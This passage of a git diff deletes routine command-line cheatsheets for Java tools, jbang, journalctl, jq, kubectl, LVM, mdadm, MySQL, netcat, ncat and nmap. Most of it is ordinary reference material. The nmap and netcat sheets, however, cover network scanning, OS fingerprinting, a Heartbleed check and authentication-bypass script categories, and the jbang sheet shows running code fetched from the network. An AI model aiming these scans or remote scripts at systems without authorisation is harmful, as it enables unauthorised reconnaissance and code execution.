size to be used by the program -# Use -Xms to set inital memory allocation -# Use -Xmx to set maximun allowed memory allocation -# Use -Xss to set maximun allowed thread stack size -# Initially asigns 256mb and allows up to 2gb, thread stack size of 1mb -java -Xms256m -Xmx2g -Xss1m -jar - -# To use the classpath variable -# It overrides the CLASSPATH of Environment variable but only for that session. -# If you restart the application you need to again set the classpath variable. -# You can use either: -classpath, --classpath or -cp -java -classpath -jar -java -classpath "my/example/path/one:my/example/path/two" -jar myfile.zip - -# To execute a java class -# Say you have a java class of name HelloWorld in a file called HelloWorld.java -# Say you want to execute your class HelloWorld and pass it the argument "hello" -# Say the file is the local directory we use the options "-cp ." -java -cp -java -cp . HelloWorld "hello" diff --git a/assets/cheatsheets/javac b/assets/cheatsheets/javac deleted file mode 100644 index bf78223..0000000 --- a/assets/cheatsheets/javac +++ /dev/null @@ -1,35 +0,0 @@ -# To compile a simple source file: -javac HelloWorld.java - -# To compile several source files: -javac *.java - -# To specify another destination directory: -javac -d build HelloWorld.java - -# To use another source directory for source dependencies: -javac -sourcepath src/dependencies/java Main.java - -# To define where compiled dependencies should be searched: -javac -classpath lib/commons-cli-1.4.jar:lib/log4j-1.2.12.jar HelloWorld.java - -# To consider warnings as errors: -javac -Werror NoWarning.java - -# To compile Java 7 code: -javac -source 1.7 Java7.java - -# To make the compiler more verbose: -javac -verbose *.java - -# To display usage of deprecated APIs: -javac -deprecation App.java - -# To include debugging info in class files: -javac -g HelloWorld.java - -# To display version: -javac -version - -# To get help: -javac -help diff --git a/assets/cheatsheets/jbang b/assets/cheatsheets/jbang deleted file mode 100644 index 3ec9b1a..0000000 --- a/assets/cheatsheets/jbang +++ /dev/null @@ -1,50 +0,0 @@ -# Create a new command line application using Picocli -jbang init --template=cli CmdLineApp.java - -# Edit application with Visual Studio Code -jbang edit --open=code CmdLineApp.java - -# Edit application with IDEA and have the project regenerated on dependencies changes -jbang edit --live --open=idea CmdLineApp.java - -# Rebuild application in cache without starting it -jbang build CmdLineApp.java - -# Run command line application with jbang -jbang CmdLineApp.java command arg1 arg2... - -# Run command line as a script -./CmdLineApp.java command arg1 arg2... - -# Run a Java code snippet (Java 9 and later) -echo 'Files.list(Paths.get("/etc")).forEach(System.out::println);' | jbang - - -# Debug -jbang --debug CmdLineApp.java command arg1 -# Then start debugger in IDEA once port is printed - -# Run a script from the network -jbang https://github.com/jbangdev/jbang-catalog/blob/master/hello.java - -# Run a jbang script referenced in a catalog -# Where hello.java is located in jbang-catalog repository of GitHub jbangdev user -jbang hello@jbangdev - -# Run a jar file from its GAV -jbang io.swagger:swagger-codegen-cli:RELEASE --help - -# Install JDK 14 to be used with jbang -jbang jdk install 14 - -# Force usage of JDK 14 in a jbang script -## Add //JAVA 14 to the first lines of the script -## Then start it using jbang - -# List jbang installed JDK -jbang jdk list - -# Clear jbang cache -jbang cache clear - -# Install auto-completion script for Bash -jbang completion | sudo tee /etc/bash_completion.d/jbang diff --git a/assets/cheatsheets/journalctl b/assets/cheatsheets/journalctl deleted file mode 100644 index aa1a4b0..0000000 --- a/assets/cheatsheets/journalctl +++ /dev/null @@ -1,35 +0,0 @@ -# To actively follow log (like tail -f): -journalctl -f - -# To display all errors since last boot: -journalctl -b -p err - -# To filter by time period: -journalctl --since=2012-10-15 --until="2011-10-16 23:59:59" - -# To show list of systemd units logged in journal: -journalctl -F _SYSTEMD_UNIT - -# To filter by specific unit: -journalctl -u dbus - -# To filter by executable name: -journalctl /usr/bin/dbus-daemon - -# To filter by PID: -journalctl _PID=123 - -# To filter by Command, e.g., sshd: -journalctl _COMM=sshd - -# To filter by Command and time period: -journalctl _COMM=crond --since '10:00' --until '11:00' - -# To list all available boots: -journalctl --list-boots - -# To filter by specific User ID e.g., user id 1000: -journalctl _UID=1000 - -# To filter by specific SYSLOG_INDENTIFIER: -journalctl -t systemd-resolved diff --git a/assets/cheatsheets/jq b/assets/cheatsheets/jq deleted file mode 100644 index 518569e..0000000 --- a/assets/cheatsheets/jq +++ /dev/null @@ -1,31 +0,0 @@ -# To pretty print the json: -jq "." < filename.json - -# To access the value at key "foo": -jq '.foo' - -# To access first list item: -jq '.[0]' - -# to slice and dice: -jq '.[2:4]' -jq '.[:3]' -jq '.[-2:]' - -# to extract all keys from json: -jq keys - -# to sort by a key: -jq '.foo | sort_by(.bar)' - -# to count elements: -jq '.foo | length' - -# print only selected fields: -jq '.foo[] | {field_1,field_2}' - -# print selected fields as text instead of json: -jq '.foo[] | {field_1,field_2} | join(" ")' - -# only print records where given field matches a value -jq '.foo[] | select(.field_1 == "value_1")' diff --git a/assets/cheatsheets/jrnl b/assets/cheatsheets/jrnl deleted file mode 100644 index 7af519f..0000000 --- a/assets/cheatsheets/jrnl +++ /dev/null @@ -1,21 +0,0 @@ -# To add entry to default jrnl (from your configured text editor): -jrnl - -# To add to default jrnl: -jrnl - -# To list of tags: -jrnl --tags - -# To entries per tag: -jrnl @tag - -# To export jrnl as json: -jrnl --export json - -# To entries in a timeframe: -jrnl -from 2009 -until may - -# To add Sublime text to .jrnl_config: -"editor": "F:\\Powerpack\\Sublime\\sublime_text.exe -w" # Windows -"editor": "/usr/bin/sublime -w" # Linux diff --git a/assets/cheatsheets/kill b/assets/cheatsheets/kill deleted file mode 100644 index e55ac83..0000000 --- a/assets/cheatsheets/kill +++ /dev/null @@ -1,5 +0,0 @@ -# To kill a process gracefully: -kill -15 - -# To kill a process forcefully: -kill -9 diff --git a/assets/cheatsheets/kitty b/assets/cheatsheets/kitty deleted file mode 100644 index 4f3ed04..0000000 --- a/assets/cheatsheets/kitty +++ /dev/null @@ -1,57 +0,0 @@ ---- -tags: [ kitty ] ---- - -# Scrolling -ctrl+shift+up - Line up -ctrl+shift+down - Line down -ctrl+shift+page_up - Page up -ctrl+shift+page_down - Page down -ctrl+shift+home - Top -ctrl+shift+end - Bottom -ctrl+shift+z - Previous shell prompt -ctrl+shift+x - Next shell prompt -ctrl+shift+h - Browse scrollback in less -ctrl+shift+g - Browse last cmd output - -# Tabs -ctrl+shift+t - New tab -ctrl+shift+q - Close tab -ctrl+shift+right - Next tab -ctrl+shift+left - Previous tab -ctrl+shift+l - Next layout -ctrl+shift+. - Move tab forward -ctrl+shift+, - Move tab backward -ctrl+shift+alt+t - Set tab title - -# Fonts and clipboard -ctrl+shift+c - Copy to clipboard -ctrl+shift+v - Paste from clipboard -ctrl+shift+s - Paste from selection -ctrl+shift+equal - Increase font size -ctrl+shift+minus - Decrease font size -ctrl+shift+backspace - Restore font size - -# Windows -ctrl+shift+enter - New window -ctrl+shift+n - New OS window -ctrl+shift+w - Close window -ctrl+shift+] - Next window -ctrl+shift+[ - Previous window -ctrl+shift+f - Move window forward -ctrl+shift+b - Move window backward -ctrl+shift+` - Move window to top -ctrl+shift+f7 - Visually focus window -ctrl+shift+f8 - Visually swap window -# Focus specific window -ctrl+shift+1, ctrl+shift+2 … ctrl+shift+0 - -# Open/select -ctrl+shift+e - Open URL -ctrl+shift+p>f - Insert selected path -ctrl+shift+p>shft+f - Open selected path -ctrl+shift+p>l - Insert selected line -ctrl+shift+p>w - Insert selected word -ctrl+shift+p>h - Insert selected hash -ctrl+shift+p>n - Open the selected file at the selected line -ctrl+shift+p>y - Open the selected hyperlink diff --git a/assets/cheatsheets/kubectl b/assets/cheatsheets/kubectl deleted file mode 100644 index 5b8049f..0000000 --- a/assets/cheatsheets/kubectl +++ /dev/null @@ -1,29 +0,0 @@ -# To display list of all available commands: -kubectl -h - -# To display an explanation of a specific command: -kubectl command_name -h - -# To display complete list of supported resources: -kubectl api-resources - -# To display an explanation of a specific resource: -kubectl explain resource_name - -# To display an explanation of a specific field of resource: -kubectl explain resource_name.field_name - -# To display list of global command-line options: -kubectl options - -# To set up `kubectl` autocomplete in bash (press Tab to use): -source <(kubectl completion bash) - -# To display all resources in all namespaces: -kubectl get all -A - -# To order events by `creationTimestamp`: -kubectl get events --sort-by='.metadata.creationTimestamp' - -# To switch context of a specific cluster: -kubectl config use-context CONTEXT_NAME [options] diff --git a/assets/cheatsheets/less b/assets/cheatsheets/less deleted file mode 100644 index aa84e10..0000000 --- a/assets/cheatsheets/less +++ /dev/null @@ -1,49 +0,0 @@ -# Go to end of file: -G - -# Go to start of file: -g - -# To edit the current file in $EDITOR: -v - -# Search in file: -/ - -# Filter content: -& - -# Next result: -n - -# Previous result: -N - -# Toggle search highlighting: -Alt-u - -# Follow (tail -f) a file after opening it: -F -# To start less in follow-mode: -less +F - -# To disable the terminal refresh when exiting: -less -X - -# Move to next file (if multiple files opened, eg. `less file1 file2`): -:n - -# Move to previous file: -:p - -# Don't wrap long lines: -less -S -# or if already in less: --S - -# To save the contents to a file: -# Method 1 - Only works when the input is a pipe -s - -# Method 2 - This should work whether input is a pipe or an ordinary file: -Type g or < (g or less-than) | $ (pipe then dollar) then cat > and Enter. diff --git a/assets/cheatsheets/lib b/assets/cheatsheets/lib deleted file mode 100644 index a3ae617..0000000 --- a/assets/cheatsheets/lib +++ /dev/null @@ -1,23 +0,0 @@ -# To display available libraries: -ldconfig -p - -# To update library resources: -ldconfig - -# To display libraries and file location: -ldd - -# To libraries available to apps in real-time: -"Dynamic Libraries" (.so.) - -# To libraries only available to apps when installed (imported): -"Static Libraries" (.a.) - -# To standard (usual) library file location: -/lib - -# To sofware-accessible source for library info : -/etc/ld.so.cache # (binary) - -# To human-readable source for library info: -/etc/ld.so.conf # (points to /etc/ld.so.conf.d) diff --git a/assets/cheatsheets/ln b/assets/cheatsheets/ln deleted file mode 100644 index b3e150c..0000000 --- a/assets/cheatsheets/ln +++ /dev/null @@ -1,5 +0,0 @@ -# To create a symlink: -ln -s - -# To symlink, while overwriting existing destination files -ln -sf diff --git a/assets/cheatsheets/ls b/assets/cheatsheets/ls deleted file mode 100644 index b10d89c..0000000 --- a/assets/cheatsheets/ls +++ /dev/null @@ -1,30 +0,0 @@ -# To display everything in , excluding hidden files: -ls - -# To display everything in , including hidden files: -ls -a - -# To display all files, along with the size (with unit suffixes) and timestamp -ls -lh - -# To display files, sorted by size: -ls -S - -# To display directories only: -ls -d */ - -# To display directories only, include hidden: -ls -d .*/ */ - -# To display all files sorted by changed date, most recent first: -ls -ltc - -# To display files sorted by create time: -ls -lt - -# To display files in a single column: -ls -1 - -# To show ACLs (MacOS): -# see also `cheat chmod` for `/bin/chmod` options for ACLs -/bin/ls -le diff --git a/assets/cheatsheets/lsblk b/assets/cheatsheets/lsblk deleted file mode 100644 index 87a6e22..0000000 --- a/assets/cheatsheets/lsblk +++ /dev/null @@ -1,21 +0,0 @@ -# To show all available block devices along with their partitioning schemes: -lsblk - -# To show SCSI devices: -lsblk --scsi - -# To show a specific device: -lsblk /dev/sda - -# To verify TRIM support: -# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns. -# Non-zero values indicate TRIM support -lsblk --discard - -# To fetch info about filesystems: -lsblk --fs - -# For JSON, LIST or TREE output formats use the following flags: -lsblk --json -lsblk --list -lsblk --tree # default view diff --git a/assets/cheatsheets/lsof b/assets/cheatsheets/lsof deleted file mode 100644 index 88a6a2c..0000000 --- a/assets/cheatsheets/lsof +++ /dev/null @@ -1,33 +0,0 @@ -# To list all IPv4 network files: -sudo lsof -i4 - -# To list all IPv6 network files: -sudo lsof -i6 - -# To list all open sockets: -lsof -i - -# To list all listening ports: -lsof -Pnl +M -i4 - -# To find which program is using the port 80: -lsof -i TCP:80 - -# To list all connections to a specific host: -lsof -i@192.168.1.5 - -# To list all processes accessing a particular file/directory: -lsof - -# To list all files open for a particular user: -lsof -u - -# To list all files/network connections a command is using: -lsof -c - -# To list all files a process has open: -lsof -p - -# To list all files open mounted at /mount/point: -# (Particularly useful for finding which process(es) are using a mounted USB stick or CD/DVD.) -lsof +f -- diff --git a/assets/cheatsheets/lvm b/assets/cheatsheets/lvm deleted file mode 100644 index c7f6692..0000000 --- a/assets/cheatsheets/lvm +++ /dev/null @@ -1,56 +0,0 @@ -# PV - physical volume (disc); eg. /dev/sda -# VG - volume group; eg. vg0 -# LV - logical volume; eg. root - -# Create PV -pvcreate /dev/sda - -# Display info about PV -pvdisplay /dev/sda - -# Create VG -vgcreate vg0 /dev/sda - -# Display info about VG -vgdispay vg0 - -# Add PV to VG, PV must be created before -vgextend vg0 /dev/sdb - -# Remove PV from VG -pvmove /dev/sdb # Move data from PV -vgreduce data /dev/sdb - -# Deactivate VG, do this when you want to physically remove device -vgchange --activate n vg0 - -# Create LV -lvcreate --name root --size 8G vg0 - -# Extend LV size -lvextend --size 16G vg0/root - -# Reduce LV size, FS must be resized first! -lvreduce --size 8G vg0/root - -# Remove LV -lvremove vg0/root - -# Create mirrored LV (RAID1) -lvcreate --name root --size 8G --mirrors 1 data vg0 -# Mirror logs are stored on third device by default - if you don't have 3 or -# more devices in VG add '--mirrorlog core' to store logs in memory - -# Enable mirroring on existing LV -lvconvert --mirrors 1 vg0/root - -# Create stripped LV (RAID0) -lvcreate --name root --size 8G --stripes 2 --stripesize 4 vg0 - -#Exclusive Activation of a Volume Group in a Cluster -#Link --> https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/High_Availability_Add-On_Administration/s1-exclusiveactive-HAAA.html -1> vgs --noheadings -o vg_name -2> volume_list = [ "rhel_root", "rhel_home" ] -3> dracut -H -f /boot/initramfs-$(uname -r).img $(uname -r) -4> Reboot the node -5> uname -r to verify the correct initrd image diff --git a/assets/cheatsheets/man b/assets/cheatsheets/man deleted file mode 100644 index 1c86ad1..0000000 --- a/assets/cheatsheets/man +++ /dev/null @@ -1,8 +0,0 @@ -# To convert a man page to pdf: -man -t bash | ps2pdf - bash.pdf - -# To view the ascii chart: -man 7 ascii - -# To see config: -cat /private/etc/man.conf diff --git a/assets/cheatsheets/markdown b/assets/cheatsheets/markdown deleted file mode 100644 index 53b0d1c..0000000 --- a/assets/cheatsheets/markdown +++ /dev/null @@ -1,108 +0,0 @@ -# headers -# (without double qutation marks(")) -"# h1 header" -"###### h6 header" - -# blockquotes -> first level and paragraph ->> second level and first paragraph -> -> first level and second paragraph - -# collapsed text -To create a collapsible section (collapsed by default) showing the text "Collapsed Item Title", use this: -
- Collapsed Item Title -

Collapsed content

-

Other collapsed content.

-
- -# lists -Sub-bullets can be done with 2+ spaces or 1 tab -## unordered - use *, +, or - -* Red - * sub-bullet - * sub-sub-bullet -* Green - - sub with dash - + sub with plus -* Blue - -## ordered -1. First - 1. First sub-item <-- this is the best supported format -2. Second - * Unordered <-- this also appears to be a widely supported format -3. Third - a. Lettered <-- there is mixed support for this format -4. Fourth - i. using roman numerals <-- there is mixed support for this format - ii. more stuff - -## check list -There is limited support for rendering check lists: -- [ ] incomplete task - - [ ] incomplete sub-task - - [x] complete sub-task -- [x] complete task - - -# code -## code block with 4 spaces/1 tab -regular text - code code code - -## in-line code -or: -Use the `printf()` function - -## code block with syntax support -or a code block (optionally specifying the language, more details here: https://rdmd.readme.io/docs/code-blocks): -```shell -alias ltr='ls -ltr' -alias latr='ls -latr' -``` - -## key bindings -⌘F - -# hr's (horizontal rules) - three or more of the following -*** ---- -___ - -# links -The "Title" is optional -This is [an example](http://example.com "Title") inline link. - -## Links to Headings -Assuming you have a heading called `# My First Heading` then link is the case-insensitive string with spaces replaced by dashes: -[Visible Link Text](#my-first-heading "Hover-text link title") - -# image -![Alt Text](/path/to/file.png) - -# formatting -Italic: -*em* _em_ - -Bold: -**strong** __strong__ - -~~strikethrough~~ - -# Tables - -## Table Alignment -The alignment applies to the table data, not the header. - -Left-aligned Stuff | Right-aligned Stuff | Center-aligned Stuff -| :--- | ---: | :---: -Some left stuff | Some right stuff | Some center stuff -Some left stuff | Some right stuff | Some center stuff - -## Special Characters in Tables -First Header | Second Header -------------- | ------------- -Some stuff | things about stuff -Other Stuff | A \| B diff --git a/assets/cheatsheets/maven b/assets/cheatsheets/maven deleted file mode 100644 index a2148b4..0000000 --- a/assets/cheatsheets/maven +++ /dev/null @@ -1,2 +0,0 @@ -# To manually download artifacts: -mvn org.apache.maven.plugins:maven-dependency-plugin:get -Dartifact=org.apache.geronimo.specs:specs:1.2 -Dpackaging=pom -Dtransitive=false diff --git a/assets/cheatsheets/mdadm b/assets/cheatsheets/mdadm deleted file mode 100644 index a2f1445..0000000 --- a/assets/cheatsheets/mdadm +++ /dev/null @@ -1,57 +0,0 @@ -# For the sake of briefness, we use Bash "group compound" stanza: -# /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ... -# Along the following variables: -# ${M} array identifier (/dev/md${M}) -# ${D} device identifier (/dev/sd${D}) -# ${P} partition identifier (/dev/sd${D}${P}) - -# To create (initialize) a new array: -mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1 - -# To manually assemble (activate) an existing array: -mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} - -# To automatically assemble (activate) all existing arrays: -mdadm --assemble --scan - -# To stop an assembled (active) array: -mdadm --stop /dev/md${M} - -# To see array configuration: -mdadm --query /dev/md${M} - -# To see array component configuration (dump superblock content): -mdadm --query --examine /dev/sd${D}${P} - -# To see detailed array confiration/status: -mdadm --detail /dev/md${M} - -# To save existing arrays configuration: -# (MAY be required by initrd for successfull boot) -mdadm --detail --scan > /etc/mdadm/mdadm.conf - -# To erase array component superblock: -# (MUST do before reusing a partition for other purposes) -mdadm --zero-superblock /dev/sd${D}${P} - -# To manually mark a component as failed: -# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART) -mdadm --manage /dev/md${M} --fail /dev/sd${D}${P} - -# To remove a failed component: -# (SHOULD before preemptively replacing a device, after failing it) -mdadm --manage /dev/md${M} --remove /dev/sd${D}${P} - -# To prepare (format) a new device to replace a failed one: -sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new} - -# To add new component to an existing array: -# (this will trigger the rebuild) -mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P} - -# To see assembled (active) arrays status: -cat /proc/mdstat - -# To rename a device: -# (SHOULD after hostname change; eg. name="$(hostname -s)") -mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name diff --git a/assets/cheatsheets/minikube b/assets/cheatsheets/minikube deleted file mode 100644 index 8b09a90..0000000 --- a/assets/cheatsheets/minikube +++ /dev/null @@ -1,14 +0,0 @@ -# To start with virtualbox driver: -minikube start --vm-driver=virtualbox - -# To configure docker environment variables: -minikube docker-env - -# To start view the dashboard in a browser: -minikube dashboard - -# To list all services: -minikube service list - -# To start a service in a browser: -minikube service diff --git a/assets/cheatsheets/mkdir b/assets/cheatsheets/mkdir deleted file mode 100644 index eba1c51..0000000 --- a/assets/cheatsheets/mkdir +++ /dev/null @@ -1,8 +0,0 @@ -# To create nested directories: -mkdir -p foo/bar/baz - -# To create foo/bar and foo/baz directories: -mkdir -p foo/{bar,baz} - -# To create the foo/bar, foo/baz, foo/baz/zip and foo/baz/zap directories: -mkdir -p foo/{bar,baz/{zip,zap}} diff --git a/assets/cheatsheets/more b/assets/cheatsheets/more deleted file mode 100644 index 3c549d2..0000000 --- a/assets/cheatsheets/more +++ /dev/null @@ -1,2 +0,0 @@ -# To show beginning at line number 5: -more +5 diff --git a/assets/cheatsheets/mount b/assets/cheatsheets/mount deleted file mode 100644 index b6acccf..0000000 --- a/assets/cheatsheets/mount +++ /dev/null @@ -1,14 +0,0 @@ -# To mount / partition as read-write in repair mode: -mount -o remount,rw / - -# To bind mount path to a second location: -mount --bind - -# To mount Usb disk as user writable: -mount -o uid=username,gid=usergroup /dev/sdx /mnt/xxx - -# To mount a remote NFS directory: -mount -t nfs : - -# To mount an ISO: -mount -o loop disk1.iso /mnt/disk diff --git a/assets/cheatsheets/multipass b/assets/cheatsheets/multipass deleted file mode 100644 index 52f4873..0000000 --- a/assets/cheatsheets/multipass +++ /dev/null @@ -1,11 +0,0 @@ -# List all options -multipass - -# List existing VMs on your device -multiplass list - -# Find what VMs can be downloaded -multipass find - -# Download and start a temp VM -multipass launch -v --name todelete diff --git a/assets/cheatsheets/mutt b/assets/cheatsheets/mutt deleted file mode 100644 index 0c45945..0000000 --- a/assets/cheatsheets/mutt +++ /dev/null @@ -1,20 +0,0 @@ -# Create new mailbox in IMAP - + When located in mailbox list (c) - shift + C - -# Move multiple messages to folder (bulk operations) - - 1. Select/tag them with alt+'t' - 2. ;s in mail inbox overview for bulk operation - -# Deleting / Undeleting all messages in mutt - - 1. In mutt’s index, hit ‘D’ (UPPERCASE D) - 2. It will prompt you with “Delete messages matching: “ - - + enter this string: - - ~A - - 3. It should mark all for deletion! - 4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages. diff --git a/assets/cheatsheets/mv b/assets/cheatsheets/mv deleted file mode 100644 index 2ff826f..0000000 --- a/assets/cheatsheets/mv +++ /dev/null @@ -1,17 +0,0 @@ -# To move a file from one place to another: -mv - -# To move a file from one place to another and automatically overwrite if the destination file exists: -# (This will override any previous -i or -n args) -mv -f - -# To move a file from one place to another but ask before overwriting an existing file: -# (This will override any previous -f or -n args) -mv -i - -# To move a file from one place to another but never overwrite anything: -# (This will override any previous -f or -i args) -mv -n - -# To move listed file(s) to a directory -mv -t ... diff --git a/assets/cheatsheets/mysql b/assets/cheatsheets/mysql deleted file mode 100644 index 0592fcc..0000000 --- a/assets/cheatsheets/mysql +++ /dev/null @@ -1,40 +0,0 @@ ---- -tags: [ database ] ---- -# To connect to a database: -mysql -h -u -p - -# To backup all databases: -mysqldump --all-databases --all-routines -u -p > ~/dump.sql - -# To restore all databases: -mysql -u -p < ~/fulldump.sql - -# To create a database in utf8 charset: -CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci; - -# To add a user and give rights on the given database: -GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION; - -# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work. : -SHOW GRANTS FOR CURRENT_USER(); -SHOW GRANTS; -SHOW GRANTS FOR CURRENT_USER; - -# Basic SELECT Statement: -SELECT * FROM tbl_name; - -# Basic INSERT Statement: -INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2); - -# Basic UPDATE Statement: -UPDATE tbl_name SET col1 = "example"; - -# Basic DELETE Statement: -DELETE FROM tbl_name WHERE user = 'jcole'; - -# To check stored procedure: -SHOW PROCEDURE STATUS; - -# To check stored function: -SHOW FUNCTION STATUS; diff --git a/assets/cheatsheets/mysqldump b/assets/cheatsheets/mysqldump deleted file mode 100644 index 3396787..0000000 --- a/assets/cheatsheets/mysqldump +++ /dev/null @@ -1,26 +0,0 @@ ---- -tags: [ database ] ---- -# To dump a database to a file (Note that your password will appear in your command history!): -mysqldump -u -p > db.sql - -# To dump a database to a file: -mysqldump -u -p > db.sql - -# To dump a database to a .tgz file (Note that your password will appear in your command history!): -mysqldump -u -p | gzip -9 > db.sql - -# To dump a database to a .tgz file: -mysqldump -u -p | gzip -9 > db.sql - -# To dump all databases to a file (Note that your password will appear in your command history!): -mysqldump -u -p --all-databases > all-databases.sql - -# To dump all databases to a file: -mysqldump -u -p --all-databases > all-databases.sql - -# To export the database structure only: -mysqldump --no-data -u -p > dump_file - -# To export the database data only: -mysqldump --no-create-info -u -p > dump_file diff --git a/assets/cheatsheets/nc b/assets/cheatsheets/nc deleted file mode 100644 index 4ec84d3..0000000 --- a/assets/cheatsheets/nc +++ /dev/null @@ -1,25 +0,0 @@ ---- -tags: [ networking ] ---- -# To open a TCP connection from to of , with a timeout of -nc -p -w - -# To open a UDP connection to of : -nc -u - -# To open a TCP connection to port 42 of using as the IP for the local end of the connection: -nc -s - -# To create and listen on a UNIX-domain stream socket: -nc -lU /var/tmp/dsocket - -# To connect to of via an HTTP proxy at , -# . This example could also be used by ssh(1); see the ProxyCommand -# directive in ssh_config(5) for more information. -nc -x: -Xconnect - -# The same example again, this time enabling proxy authentication with username "ruser" if the proxy requires it: -nc -x: -Xconnect -Pruser - -# To choose the source IP for the testing using the -s option -nc -zv -s source_IP target_IP Port diff --git a/assets/cheatsheets/ncat b/assets/cheatsheets/ncat deleted file mode 100644 index 6d433f9..0000000 --- a/assets/cheatsheets/ncat +++ /dev/null @@ -1,33 +0,0 @@ ---- -tags: [ networking ] ---- -# Connect mode (ncat is client) | default port is 31337 -ncat [] - -# Listen mode (ncat is server) | default port is 31337 -ncat -l [] [] - -# Transfer file (closes after one transfer) -ncat -l [] [] < file - -# Transfer file (stays open for multiple transfers) -ncat -l --keep-open [] [] < file - -# Receive file -ncat [] [] > file - -# Brokering | allows for multiple clients to connect -ncat -l --broker [] [] - -# Listen with SSL | many options, use ncat --help for full list -ncat -l --ssl [] [] - -# Access control -ncat -l --allow -ncat -l --deny - -# Proxying -ncat --proxy [:] --proxy-type {http | socks4} [] - -# Chat server | can use brokering for multi-user chat -ncat -l --chat [] [] diff --git a/assets/cheatsheets/ncdu b/assets/cheatsheets/ncdu deleted file mode 100644 index 5e183b9..0000000 --- a/assets/cheatsheets/ncdu +++ /dev/null @@ -1,11 +0,0 @@ -# To save results to : -ncdu -o - -# To read from : -ncdu -f - -# To save results to a compressed file: -ncdu -o- | gzip > - -# To read from a compressed file: -zcat | ncdu -f- diff --git a/assets/cheatsheets/netstat b/assets/cheatsheets/netstat deleted file mode 100644 index 717c4be..0000000 --- a/assets/cheatsheets/netstat +++ /dev/null @@ -1,31 +0,0 @@ ---- -tags: [ networking ] ---- -# WARNING ! netstat is deprecated. Look below. - -# To view which users/processes are listening to which ports: -sudo netstat -lnptu - -# To view routing table (use -n flag to disable DNS lookups): -netstat -r - -# Which process is listening to port -netstat -pln | grep | awk '{print $NF}' - -# Example output: 1507/python - -# Fast display of ipv4 tcp listening programs -sudo netstat -vtlnp --listening -4 - -# WARNING ! netstat is deprecated. -# Replace it by: -ss - -# For netstat -r -ip route - -# For netstat -i -ip -s link - -# For netstat -g -ip maddr diff --git a/assets/cheatsheets/nft b/assets/cheatsheets/nft deleted file mode 100644 index f4ca062..0000000 --- a/assets/cheatsheets/nft +++ /dev/null @@ -1,5 +0,0 @@ -# List applies nft rules: -nft list ruleset - -# Load a ruleset file: -nft -f filename diff --git a/assets/cheatsheets/nkf b/assets/cheatsheets/nkf deleted file mode 100644 index 4b97a1f..0000000 --- a/assets/cheatsheets/nkf +++ /dev/null @@ -1,29 +0,0 @@ -# To check the file's charactor code: -nkf -g - -# To convert charactor code to UTF-8: -nkf -w --overwrite - -# To convert charactor code to EUC-JP: -nkf -e --overwrite - -# To convert charactor code to Shift-JIS: -nkf -s --overwrite - -# To convert charactor code to ISO-2022-JP: -nkf -j --overwrite - -# To convert newline to LF: -nkf -Lu --overwrite - -# To convert newline to CRLF: -nkf -Lw --overwrite - -# To convert newline to CR: -nkf -Lm --overwrite - -# To MIME encode: -echo テスト | nkf -WwMQ - -# To MIME decode: -echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ diff --git a/assets/cheatsheets/nmap b/assets/cheatsheets/nmap deleted file mode 100644 index 77ee23a..0000000 --- a/assets/cheatsheets/nmap +++ /dev/null @@ -1,110 +0,0 @@ ---- -tags: [ networking ] ---- -# Single target scan: -nmap [target] - -# Scan from a list of targets: -nmap -iL [list.txt] - -# iPv6: -nmap -6 [target] - -# OS detection: -nmap -O --osscan_guess [target] - -# Save output to text file: -nmap -oN [output.txt] [target] - -# Save output to xml file: -nmap -oX [output.xml] [target] - -# Scan a specific port: -nmap -source-port [port] [target] - -# Do an aggressive scan: -nmap -A [target] - -# Speedup your scan: -# -n => disable ReverseDNS -# --min-rate=X => min X packets / sec -nmap -T5 --min-parallelism=50 -n --min-rate=300 [target] - -# Traceroute: -nmap -traceroute [target] - -# Ping scan only: -sP -# Don't ping: -PN <- Use full if a host don't reply to a ping. -# TCP SYN ping: -PS -# TCP ACK ping: -PA -# UDP ping: -PU -# ARP ping: -PR - -# Example: Ping scan all machines on a class C network -nmap -sP 192.168.0.0/24 - -# Force TCP scan: -sT -# Force UDP scan: -sU - -# Use some script: -nmap --script default,safe - -# Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts. -nmap --script default,banner,/home/user/customscripts - -# Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. -nmap --script 'http-*' - -# Loads every script except for those in the intrusive category. -nmap --script "not intrusive" - -# Loads those scripts that are in both the default and safe categories. -nmap --script "default and safe" - -# Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-. -nmap --script "(default or safe or intrusive) and not http-*" - -# Scan for the heartbleed -# -pT:443 => Scan only port 443 with TCP (T:) -nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1 - -# Show all informations (debug mode) -nmap -d ... - -# Scan for available SSH connections (use root for additional output) -nmap -p 22 192.168.0.0/24 - -## Port Status Information -- Open: This indicates that an application is listening for connections on this port. -- Closed: This indicates that the probes were received but there is no application listening on this port. -- Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering. -- Unfiltered: This indicates that the probes were received but a state could not be established. -- Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state. -- Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state. - -## Additional Scan Types - -nmap -sn: Probe only (host discovery, not port scan) -nmap -sS: SYN Scan -nmap -sT: TCP Connect Scan -nmap -sU: UDP Scan -nmap -sV: Version Scan -nmap -O: Used for OS Detection/fingerprinting -nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order - -### Nmap Scripting Engine Categories -The most common Nmap scripting engine categories: -- auth: Utilize credentials or bypass authentication on target hosts. -- broadcast: Discover hosts not included on command line by broadcasting on local 